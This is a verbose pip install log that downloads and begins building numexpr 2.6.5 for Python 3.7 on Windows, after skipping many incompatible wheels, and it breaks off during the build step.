    Skipping link https://files.pythonhosted.org/packages/de/26/bf6d3e0c9970c1da8cbe7947537c9a48a114f19df446ca5f01f3664e2d31/numexpr-2.6.2-cp36-none-win_amd64.whl#sha256=783ad2c913f94af68f110c878536d2aca87594c6618c483a52f04879661bbe6d (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Found link https://files.pythonhosted.org/packages/31/43/7777ab9535c416faabd1865453389260fdad0a23a714609c13112885009a/numexpr-2.6.2.tar.gz#sha256=6ab8ff5c19e7f452966bf5a3220b845cf3244fe0b96544f7f9acedcc2db5c705 (from https://pypi.org/simple/numexpr/), version: 2.6.2
    Skipping link https://files.pythonhosted.org/packages/5a/53/a689e226b581745f213a94e1fad28cd00e3796ec78ab890c1074cd4f7356/numexpr-2.6.3-cp27-cp27m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#sha256=865e0a284f490dbba56ec67f95c389eb1b4e64157a2c51c3395d37034cec0e44 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/ff/93/0de09ff0ce6c9242fde3d2dd7b50144f7e5cb5bf00546994b6394edb955c/numexpr-2.6.3-cp27-cp27m-manylinux1_i686.whl#sha256=0f61974696e96e9a9ac06e2b31ce1e644a3b664a2d0ea3d4297fbc48f3a37811 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/28/85/58562b817fa6f860352fd6aefdae0b505d8d2151616ceeb1cba12ccd509a/numexpr-2.6.3-cp27-cp27m-manylinux1_x86_64.whl#sha256=878170ea2287aaf9b5f3bb302528bd3958d9c30f4800797774a2c821d450f6a9 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/62/21/f78987b1463f36afb36742b5a5f9924b2c87b88b17eb9d63a8c96510ff9d/numexpr-2.6.3-cp27-cp27mu-manylinux1_i686.whl#sha256=29e620ace8a022acacc5274ffccdfd50edd02c430253ff0930b7ed633a400cd0 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/8a/72/f987ed23cddc9bca7bc0a1dba25f5d0edcaf74396405309d885f2cbb8697/numexpr-2.6.3-cp27-cp27mu-manylinux1_x86_64.whl#sha256=4ac98c15e3378c1acdc8fbbdd8659cafeb1517e22a48e943218ed4f33337a1d2 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/8f/95/c34d4a9b0d30aecf2d31491188d27606b80d340590a09df73c3a647a73cd/numexpr-2.6.3-cp27-none-win32.whl#sha256=fd85011b4493369d1e4b7674f38a191c70e55906cc3a08ff992ed75613352cec (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/7b/b7/040ff438100eebce8c36ca6ac2296401cd291ef25878464cb701a8da0d1e/numexpr-2.6.3-cp27-none-win_amd64.whl#sha256=0030928887d1b56e55075e81bcd1312cfa19d386a304b4827d26407f15a4ec44 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/40/78/919bf75b376464c6c3f337bbddfbaa68468436540016c8fd7b5469713a41/numexpr-2.6.3-cp34-cp34m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#sha256=40a2899ec8c672b054d0f6f58639ba47605d357d5de56b0867e0ad45f620a657 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/c5/42/48cbc9e722ffc1514c91459a1d5037babfb78205597a69c0efd91aeebc49/numexpr-2.6.3-cp34-cp34m-manylinux1_i686.whl#sha256=31ea05a15987fee6792035684656808df03d0cfadf6e3fc6cd27dc6ebe19fd69 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/1b/52/bcbc28daf630ecf65993cec6150e64654c0552f4c738ac28ee4da9bece40/numexpr-2.6.3-cp34-cp34m-manylinux1_x86_64.whl#sha256=8b9ec265ad14ccca6e3286c3ac347360f9730010d8e5f2802315a3b3bcf84ceb (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/b7/e4/c48e2b088101be5a62d900f05dc1cfcf44ef48d8df5ce0bb53a2500b0f40/numexpr-2.6.3-cp34-none-win32.whl#sha256=b2fe34f8eb210261c510e5a17273238765189861d91408b02dd82267d70ad45f (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/a9/91/82080d78bff61205341aaf37df6a6f6d8ced412b89c166199f5383a2dd69/numexpr-2.6.3-cp34-none-win_amd64.whl#sha256=28bec0e95ad80ae250a8fc394317ebb5cb38b1c4c1b62548ed7688d5336bfdb3 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/c7/73/976fb82e52308421cb1b5dd8f04063b5ba44df56b827f6d8c3712897fa8d/numexpr-2.6.3-cp35-cp35m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#sha256=905b8e55ad2537b12deeba62d78d0d4236b6d9c827871927111d5822c9e3871f (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/96/ac/c57dc0ca8faf0d9eb566df23615be723b2ad99bf54250da75a63fe4b8645/numexpr-2.6.3-cp35-cp35m-manylinux1_i686.whl#sha256=c549940c75adb98ab1387ba6ca5a8edebc0cb313dd6ce90dad0e2046f8dd00f4 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/5e/f1/0050f42cdb33403e3be3f2a7851a450bfc7e8b0417d4ba002385a02ffa44/numexpr-2.6.3-cp35-cp35m-manylinux1_x86_64.whl#sha256=eb6b7e09b31d59926861d966d24a41460f24df6b9e90705948c0a5bf21498986 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/81/93/c9e02f0aeb4cda2dfd530fd3b64d3712ad5d2a4904559c8dd8b9b5806e28/numexpr-2.6.3-cp35-none-win32.whl#sha256=9dd05533c68353e87ab08a8b04b42dc30353762b51440b01c886e47faf422867 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/c5/c8/560b81c96fb05ed9bd9115e470edc4d23a19d4463d880f29245f377e0dc3/numexpr-2.6.3-cp35-none-win_amd64.whl#sha256=ec454f06423e6e86e0bc10a4d0dcab3a2b182ad2aefecd74c9c647db443b2717 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/7d/db/968e36bc21ef8f5d1ed9b6783b1dc66fc495e471386ca159e733e84daf5f/numexpr-2.6.3-cp36-cp36m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#sha256=339e8119013e007ccd68f4d3e0a2a89f0932dd1035a94fb60e3f103c5b8e79c2 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/59/38/e3c26a34a70d3a2ef2defd5b67ef3911cf1508eca4728cff3bc82fc81249/numexpr-2.6.3-cp36-cp36m-manylinux1_i686.whl#sha256=07f571786b709c93aa7463d515b534fddc7d96d1c08c9bc3da81bc3a7c3ca2b3 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/63/5b/340ee2b064ddec88e5c89ca82cc5b057c8f03209d71ecf92dd764c0d9afb/numexpr-2.6.3-cp36-cp36m-manylinux1_x86_64.whl#sha256=a457da6df7ce570dc21504cc9b8691d1ff25b84e03304d246325b32274521fd0 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/d3/1e/0e1832530e0d8ae80e0e798a48aedc1223b647331c39278106a79a6f94a0/numexpr-2.6.3-cp36-none-win32.whl#sha256=2899b54c041b4425560a97fddcf38d5866f7aac428b666b8477705176b62d582 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/32/1a/e1c5d2c7cbc7f6ab8be5b7370fd388fb50b3460444510080a042c1cb4625/numexpr-2.6.3-cp36-none-win_amd64.whl#sha256=785212a67720a3ac634e2331d1d632cb83a6e27fa184a5af103922e9c9e928e6 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Found link https://files.pythonhosted.org/packages/a4/8d/7d8d45aa896b8c51380ebc4696c6e126f450fc11c3a32e6839853a401d1c/numexpr-2.6.3.tar.gz#sha256=58fb9d6157777be515aae36da9a8859cd381b0f9c8e2ca16d392840be57300de (from https://pypi.org/simple/numexpr/), version: 2.6.3
    Skipping link https://files.pythonhosted.org/packages/33/c3/a121c7022ad2abab4f4e6a6db53468211bc5eba491841ce9fc43ff586554/numexpr-2.6.4-cp27-cp27m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#sha256=422354710d7c7f81f0d8cbac8f2d41c6e3fd4f74a6e5b3cbbb7c639b4cbfce53 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/b6/9c/1d25ffd8eab3ce30c73c7fc5b2843312071409fe1e36d4dd31aefa8a3d23/numexpr-2.6.4-cp27-cp27m-manylinux1_i686.whl#sha256=7a6a92c25b2a16417134c17912c29339b5bcee0ac47b06454827489a6b744b8b (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/89/fd/78c9db2623f31c9ef9b1ad5a46686ec90ff090d3b3f81d9b114d0e3dcaa7/numexpr-2.6.4-cp27-cp27m-manylinux1_x86_64.whl#sha256=88bae26db9c8ba4feee40605dd44ab0474413e5a4562cc95dfa068a7b25c61df (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/0a/37/52078c9fa0577854608ae7b1803e86089768acf2a2f324d76e2dfc358548/numexpr-2.6.4-cp27-cp27mu-manylinux1_i686.whl#sha256=89d8192f2b838eec1f7e74fcd401610c98ecbb598d67f3f0d5ddda7c364d9fbf (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/2e/5f/2853bd7a12eaced19a422acee23b36aa50074f3f4888133cdeda62a90c36/numexpr-2.6.4-cp27-cp27mu-manylinux1_x86_64.whl#sha256=1c24ffb5837f5e4d8cbd30bcaa55ba10f39a9174fddeeff80b92567c1c44d037 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/de/d7/f5144cb50a89156b887becc0b32099443260fffd2279996fdfcf81d1142e/numexpr-2.6.4-cp27-none-win32.whl#sha256=21512b764bbfb80c6579f63cde8470e2986cf45741d7cbd84ddf0c43a6662289 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/29/f1/3e6a94c93b0c058de35d946d104514542835c68e53a681f802dfc94995f4/numexpr-2.6.4-cp27-none-win_amd64.whl#sha256=0cd95fef6cb8c0e716c6e2081ce4da0350d361195c0eac6c5b0f1f2d6e15d1e2 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/bb/fd/7f28ea6adb3f51c0b5c89cc3255efc89962fe74c41f3dccddeae1693b4d4/numexpr-2.6.4-cp34-cp34m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#sha256=f63c422f52ed8b322ee02b4a3b86e46f41ce5893c04c96e3a24d7c681f80f98c (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/b7/a4/8fac84d9052180ccbbb0965f706fce07e2d9f2fe04a1d4e01e12039c5730/numexpr-2.6.4-cp34-cp34m-manylinux1_i686.whl#sha256=5c5c78eb8f034770cbb36823ea82a24e073eb2a3b644c82bf5396686a888d155 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/e2/ab/6d92dadb4a0cc0720935cb01ba80d6801395c9d95a5c199d9dde3935eba3/numexpr-2.6.4-cp34-cp34m-manylinux1_x86_64.whl#sha256=80e1bf9b0f979f0f2598811f35f2e33f0c9ea84da611c604c2b66a14622138ff (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/98/a5/fb5658885a158b72e09830c4a8fa9c135c85dc01871bb2e45420e20de44c/numexpr-2.6.4-cp34-none-win32.whl#sha256=a48c48e7f9c97eb4620472338612ef3139a04f97966b44bfde85fec78bfa7791 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/e0/ce/52ab082eddefb509caa1ace5008facb3625fb8518a6b5d9e4aee8ac65bab/numexpr-2.6.4-cp34-none-win_amd64.whl#sha256=4431dc92a9c674678ce151735d96454ab2506651696d3eaf9ce26560822e60e8 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/b7/76/001b7e2dee81640be322d34cea0637403501b484a2e85c3983bf4a87a540/numexpr-2.6.4-cp35-cp35m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#sha256=bb5ee81885b678a866c59204bab97e84ca8f9487c04289492e6ce428c7b573e5 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/d9/79/4c7a886772d8a2ae50097a3f1c89ff2372517911f25b53dee5edaa5eb704/numexpr-2.6.4-cp35-cp35m-manylinux1_i686.whl#sha256=5cfa58eb834d541a9cce65f20f61df77294b9ef7339dd86f0765662d912765be (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/8e/26/aa04c6eb25f32669475ddeaa0b41884d88475dc7a7596fe1d5062c532ac9/numexpr-2.6.4-cp35-cp35m-manylinux1_x86_64.whl#sha256=35e99a2c07dea4cbe221ac230351d6dad6a401f4825056f136ea0cfda109faf1 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/9e/b9/f7cf9d124d04847a0f7d99ff1bd18608d10869e2845c05c7f62806e2eabc/numexpr-2.6.4-cp35-none-win32.whl#sha256=b2cd9c914caf55cb28bd11912ef7f3842506e37cf4ea1d995b7d00638d6de020 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/b2/79/81a55b609bcd23458fb4e5a114fc9a4cd8996c80489ad21b94832f67192e/numexpr-2.6.4-cp35-none-win_amd64.whl#sha256=2439b399f813b806129a5ee330aa4a354f4f93827f90ee34c75544dc637e750e (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/8d/03/346eb973515782d21694aacdd91970e84242f9b68b54c511906dbb56cbc3/numexpr-2.6.4-cp36-cp36m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#sha256=3085f83f24707ea86d5ed141b44fd3646e1ebc91b994dd97df18f904a774c3fe (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/96/36/fea3e210657e7b20f6f9fa03e5c183451c563c95cb3fd131d4de72031997/numexpr-2.6.4-cp36-cp36m-manylinux1_i686.whl#sha256=3ad5369a90ab3bb6110a5af55857bb26bd62c99e0a7d2dd7a738f55a79de6c98 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/cd/97/72a7c1c2c7062dc4f6c6270a810987e7f35098ef7d4225498a3ed36ef8c8/numexpr-2.6.4-cp36-cp36m-manylinux1_x86_64.whl#sha256=6e269478879181e9ad3e7769c6e122d9f5c7e835994713a1df4979fce0bf8260 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/ed/e7/e359759917819f3127b0909119810fdd7336adbc2447671da0486a75049c/numexpr-2.6.4-cp36-none-win32.whl#sha256=879f1fc624b00fd62642821d599973abc0d5eeaae428fc3719734216ad909030 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/07/5a/9940f8e76274f0cb4f559be15f6b3f45a2ba96ea653bc09ebb1de28f2d04/numexpr-2.6.4-cp36-none-win_amd64.whl#sha256=c8c9b450a8004961a062e64a3beb8dec1e96246f67a1215465b3a38ae561e628 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Found link https://files.pythonhosted.org/packages/74/58/466cfe707a78e6c11725c7be9cee71042bd902fe175bd67429dba655bbd9/numexpr-2.6.4.tar.gz#sha256=f0bef9a3a5407fb8d6344cf91b658bef7c13ec8a8eb13f423822d9d2ca5af6ce (from https://pypi.org/simple/numexpr/), version: 2.6.4
    Skipping link https://files.pythonhosted.org/packages/1f/db/193e2fd5521e8ab6a2f85f897e3a7c8b6eb4b5e00574ad8f31a72fbfc955/numexpr-2.6.5-cp27-cp27m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#sha256=a53675d7febf91226f9f0e6eaa87845a5faf81a16d707b3d51701e22444c208e (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/2d/a1/0e20d48fab0692615740dd44cec1bfc295d060946a7b7ad6bb7b39242b5c/numexpr-2.6.5-cp27-cp27m-manylinux1_i686.whl#sha256=76e3c14d81c056fa9160fa0965838593df947df8cec54ff396309c03b4451e10 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/24/20/158e9511a45bc301ed5e15c01851bbb4c326f279ca2d4dd083d8285fde1e/numexpr-2.6.5-cp27-cp27m-manylinux1_x86_64.whl#sha256=6b737d4971d3c8b7293a211eab3e044d28583532094e4dd438ae8b6e34d26361 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/b8/99/7aac02a36248ac40ff280ecbe3231191cb93ce61f7424df42f0fce2ad13d/numexpr-2.6.5-cp27-cp27mu-manylinux1_i686.whl#sha256=8494553ee6db694168226bc13714e65cade4d87ad9a0210e2064efa64fa32097 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/c5/72/115b7e9eb2bfea63e429b5ef7c904a38638ca47be4684b9167b73c64b727/numexpr-2.6.5-cp27-cp27mu-manylinux1_x86_64.whl#sha256=5d086f73da40b1a3dc7887e645b309a2c4cf9388a5e33fa3d11e1dc3d17a067e (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/d5/51/edc74d899399ef41b64baafe2a3d028b3b821eda9a18bd80117dec7eeb77/numexpr-2.6.5-cp27-none-win32.whl#sha256=9f79d0f01a661451819f8f8b518e402878c226f8521e7cd0b903b7e1351a667e (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/80/74/6f0b7414a850b11a4c764bc9fec4a1cc4080eb22aec94409c1e4902a8fa5/numexpr-2.6.5-cp27-none-win_amd64.whl#sha256=e2c2be8f2a9bf3e8da460fa0502fcba63a2ae3721cd9445b40bda3aab01c2fe5 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/71/1d/883e85d5221e0ec523148026f5c39b990aafdfa127ddf833a454b56f2be1/numexpr-2.6.5-cp34-cp34m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#sha256=e2e8b16f74aec96f33de9cada3ac982eb1fc41e88a50651f483ffda96c84e474 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/46/31/1d0e49e56242d467f6aa65dca4e19d220c23b6900eb660796d73c2c3b007/numexpr-2.6.5-cp34-cp34m-manylinux1_i686.whl#sha256=e1dc2c5cd9201e29cc7bb443caf61e284cbbef261edd56c394e5aa60dae83c2f (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/66/4c/54145a50de4af6acced0ce238d30bcbd8da99d0cc13bdcf91a9252047ac7/numexpr-2.6.5-cp34-cp34m-manylinux1_x86_64.whl#sha256=8b846245e092ecc2cbf6bc71b95549bcb6fd746fd3d93cc9ac8627b4d7f61f92 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/80/19/f447b7a7d73dade87ace1a1e710220854dc8b4931acca74d2611773358a0/numexpr-2.6.5-cp34-none-win32.whl#sha256=f85dd6a89b98b47d4be2588f0d86f163fcf883bb901557518e03cb07ea1cdf09 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/f2/ec/15b7bb1b93693c86777502c7d55af3d1b4de8019f092b96dd1ddd05d1aa5/numexpr-2.6.5-cp34-none-win_amd64.whl#sha256=2ace3cb8d5b141df21f1fa67dfbaf790138f739f34341bf64cfb46a054cfcb61 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/c3/9f/f332dd034227b0ae4c3d349622c2b2bed9da3eea8968a4e8857b0d285c4b/numexpr-2.6.5-cp35-cp35m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#sha256=034275449f92817d170bbc0660e4618c6eed431c599a36ed5959cbfca3683f74 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/1b/c9/b1af0454ecdfa9a6008cf55d6d096aa60c7d91c78928f41d9f52cdcfb7f5/numexpr-2.6.5-cp35-cp35m-manylinux1_i686.whl#sha256=5d8f4ed9b88f9735303a72cf30be511f3fefd03068a36897910855b4fdc03ab6 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/29/4b/aadd8f3883c5360f47d74fff6352775d1ff23ba071b5e49fc1b7016b6a2e/numexpr-2.6.5-cp35-cp35m-manylinux1_x86_64.whl#sha256=f9932e7cf7b4faae77170b5658196c167369a00332e1d99a38e698d815ba3266 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/d2/d2/98cd0c1dbcd72d4379ed83cbd4a0d22dbf1e31158548425041a1d47c09fc/numexpr-2.6.5-cp35-none-win32.whl#sha256=7b58d0ab71c0e3057bd4bbe9099e23ebe839087046b0bf372032df1461fa3c23 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/55/02/4c04cd696baba9c5eac0810cfa8c35eb207ebe664209ee530e981504a17d/numexpr-2.6.5-cp35-none-win_amd64.whl#sha256=399120182cd33d018b2206327e5957fc20c1a6107db73985bd2c8ca1571cbca9 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/e2/ef/f37e4f11eadc37af2aaf85cd8b13ca27724f67fc28c185bac6eaa8bddb03/numexpr-2.6.5-cp36-cp36m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#sha256=2a219fc58ca468f86d48cb1b471a1daa202f434eb3d9d1ba01938ab944ccfa48 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/c5/75/4fae9a6d4bf37aee7a98df6951fbb5fa769b4ccf50fa8dd7fd6edf7e0a77/numexpr-2.6.5-cp36-cp36m-manylinux1_i686.whl#sha256=59fb02feca82619050be0367299c3ae2bfb704e4f294f665ab744ba110dd1df3 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/5b/5c/996afde0914a86e519bb1e716f6bf521dbbe1f3f23b579cb91b0f3b509a2/numexpr-2.6.5-cp36-cp36m-manylinux1_x86_64.whl#sha256=3ba49c1a010ffb7307d8a4b213f6a4dfdf04ccdd67c158b5629453d754ccce57 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/8d/76/cf9148d68f3e524f6bdaf7074d56d526de5d8a2feffbf5e2a8251758b825/numexpr-2.6.5-cp36-none-win32.whl#sha256=41bea277781d514ed913c2b3e9b5074aa379e75e94f7071c96ad9301c1909ae8 (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Skipping link https://files.pythonhosted.org/packages/93/13/b2e1c7456e37a1d4102d79fba6fdb466b6dc115db4b056bc0397fb426036/numexpr-2.6.5-cp36-none-win_amd64.whl#sha256=d5c20881cb2f460b7aa21525e994990114ed0c5e62f0ac9fbafa2a74ed7362db (from https://pypi.org/simple/numexpr/); it is not compatible with this Python
    Found link https://files.pythonhosted.org/packages/5e/04/9780a640cf173e36db72f8500e084990c67fff5576c6d72b228d19c02c23/numexpr-2.6.5.tar.gz#sha256=f8ad8014085628eab91bc82fb9d10cf9ab8e04ede4884e4a1061445d395b36bb (from https://pypi.org/simple/numexpr/), version: 2.6.5
    Found link https://files.pythonhosted.org/packages/08/13/eaf8a5cd06503e244212ebfa90c57e234b57dbf5c5df8ceffde4f081bafb/numexpr-2.6.6.dev0.tar.gz#sha256=1e6a6138d15912ccb5482f77a2461341f1e34186c8daca69398fd1ac148c92fc (from https://pypi.org/simple/numexpr/), version: 2.6.6.dev0
  Using version 2.6.5 (newest of versions: 1.1.1, 1.3, 1.3.1, 1.4, 1.4.1, 1.4.2, 2.0.1, 2.1, 2.2.1, 2.2.2, 2.3, 2.3.1, 2.4, 2.4.1, 2.4.2, 2.4.3, 2.4.4, 2.4.5, 2.4.6, 2.5, 2.5.1, 2.5.2, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5)
  Created temporary directory: C:\Users\user\AppData\Local\Temp\pip-unpack-bglzq_do
  Using cached https://files.pythonhosted.org/packages/5e/04/9780a640cf173e36db72f8500e084990c67fff5576c6d72b228d19c02c23/numexpr-2.6.5.tar.gz
  Downloading from URL https://files.pythonhosted.org/packages/5e/04/9780a640cf173e36db72f8500e084990c67fff5576c6d72b228d19c02c23/numexpr-2.6.5.tar.gz#sha256=f8ad8014085628eab91bc82fb9d10cf9ab8e04ede4884e4a1061445d395b36bb (from https://pypi.org/simple/numexpr/)
  Running setup.py (path:C:\Users\user\AppData\Local\Temp\pip-install-armieiqf\numexpr\setup.py) egg_info for package numexpr
    Running command python setup.py egg_info
    running egg_info
    creating pip-egg-info\numexpr.egg-info
    writing pip-egg-info\numexpr.egg-info\PKG-INFO
    writing dependency_links to pip-egg-info\numexpr.egg-info\dependency_links.txt
    writing requirements to pip-egg-info\numexpr.egg-info\requires.txt
    writing top-level names to pip-egg-info\numexpr.egg-info\top_level.txt
    writing manifest file 'pip-egg-info\numexpr.egg-info\SOURCES.txt'
    reading manifest file 'pip-egg-info\numexpr.egg-info\SOURCES.txt'
    reading manifest template 'MANIFEST.in'
    warning: no previously-included files found matching 'numexpr\__config__.py'
    warning: no previously-included files found matching 'RELEASING.txt'
    writing manifest file 'pip-egg-info\numexpr.egg-info\SOURCES.txt'
  Source in c:\users\user\appdata\local\temp\pip-install-armieiqf\numexpr has version 2.6.5, which satisfies requirement numexpr from https://files.pythonhosted.org/packages/5e/04/9780a640cf173e36db72f8500e084990c67fff5576c6d72b228d19c02c23/numexpr-2.6.5.tar.gz#sha256=f8ad8014085628eab91bc82fb9d10cf9ab8e04ede4884e4a1061445d395b36bb
Requirement already satisfied: numpy>=1.7 in c:\program files\python37\lib\site-packages (from numexpr) (1.14.5+mkl)
Installing collected packages: numexpr
  Created temporary directory: C:\Users\user\AppData\Local\Temp\pip-record-oo0yhiqs
    Running command "c:\program files\python37\python.exe" -u -c "import setuptools, tokenize;__file__='C:\\Users\\user\\AppData\\Local\\Temp\\pip-install-armieiqf\\numexpr\\setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record C:\Users\user\AppData\Local\Temp\pip-record-oo0yhiqs\install-record.txt --single-version-externally-managed --compile
    Warning: Assuming default configuration (numexpr\tests/{setup_tests,setup}.py was not found)running install
    running build
    running config_cc
    unifing config_cc, config, build_clib, build_ext, build commands --compiler options
    running config_fc
    unifing config_fc, config, build_clib, build_ext, build commands --fcompiler options
    running build_src
    build_src
    building py_modules sources
    creating build
    creating build\src.win-amd64-3.7
    creating build\src.win-amd64-3.7\numexpr
    building extension "numexpr.interpreter" sources
    build_src: building npy-pkg config files
    running build_py
    creating build\lib.win-amd64-3.7
    creating build\lib.win-amd64-3.7\numexpr
    copying numexpr\cpuinfo.py -> build\lib.win-amd64-3.7\numexpr
    copying numexpr\expressions.py -> build\lib.win-amd64-3.7\numexpr
    copying numexpr\necompiler.py -> build\lib.win-amd64-3.7\numexpr
    copying numexpr\utils.py -> build\lib.win-amd64-3.7\numexpr
    copying numexpr\version.py -> build\lib.win-amd64-3.7\numexpr
    copying numexpr\__init__.py -> build\lib.win-amd64-3.7\numexpr
    copying build\src.win-amd64-3.7\numexpr\__config__.py -> build\lib.win-amd64-3.7\numexpr
    creating build\lib.win-amd64-3.7\numexpr\tests
